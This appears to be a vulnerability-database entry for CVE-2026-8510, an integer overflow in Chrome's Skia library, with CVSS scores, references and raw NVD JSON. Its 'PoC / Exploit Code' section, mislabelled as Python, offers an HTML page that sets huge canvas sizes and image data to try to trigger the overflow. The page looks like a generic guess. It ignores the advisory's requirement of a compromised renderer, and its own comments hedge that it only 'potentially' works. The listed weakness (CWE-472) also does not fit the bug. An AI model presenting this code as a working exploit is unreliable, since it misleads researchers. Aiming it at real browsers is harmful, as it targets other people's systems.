CVE-2026-8510

Description

Integer overflow in Skia in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-8510
This HTML page attempts to trigger an integer overflow in Skia.
-->
<!DOCTYPE html>
<html>
<body>
<canvas id="c"></canvas>
<script>
  const canvas = document.getElementById('c');
  const ctx = canvas.getContext('2d');
  // Crafted values to potentially trigger overflow in Skia memory allocation
  try {
    canvas.width = 0x40000000;
    canvas.height = 0x40000000;
    var imgData = ctx.createImageData(0xFFFF, 0xFFFF);
    ctx.putImageData(imgData, 0, 0);
  } catch(e) {
    console.log("Error: " + e.message);
  }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8510
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8510
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8510/
[4] VulDB https://vuldb.com/cve/CVE-2026-8510
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/502636904

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8510", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:11.577", "lastModified": "2026-05-14T22:16:45.277", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in Skia in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/502636904", "source": "[email protected]"}]}}